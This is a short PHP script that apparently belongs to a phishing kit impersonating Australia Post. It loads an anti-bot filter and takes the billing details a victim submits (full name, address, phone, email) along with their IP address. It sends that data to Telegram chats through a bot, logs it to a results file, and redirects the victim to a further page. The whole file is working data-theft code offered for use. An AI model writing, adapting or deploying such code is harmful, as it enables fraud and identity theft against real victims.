<?php
require "antibot.php";
include "id.php";


$ip = getenv("REMOTE_ADDR");
$message = "=|=[ BILLING INFORMATION ]=|
|Full Name : ".$_POST['fullname']."
|Address 1 : ".$_POST['address1']."
|Address 2 : ".$_POST['address2']."
|City      : ".$_POST['city']."
|Phone num  : ".$_POST['phone']."
|Email: ".$_POST['email']."
|IP      : ".$ip."
|==[ AUSPOST XTN ]==|";
foreach($user_ids as $user_id) {
$url='https://api.telegram.org/bot' . $bot . '/sendMessage';
$data=array('chat_id'=>$user_id,'text'=>$message);
$options=array('http'=>array('method'=>'POST','header'=>"Content-Type:application/x-www-form-urlencoded\r\n",'content'=>http_build_query($data),),);
$context=stream_context_create($options);
$result=file_get_contents($url,false,$context);
}
$myfile = fopen("rzlt.txt", "a+");
$txt = $message;
fwrite($myfile, $txt);
fclose($myfile);
HEADER("Location: ca.php");

?>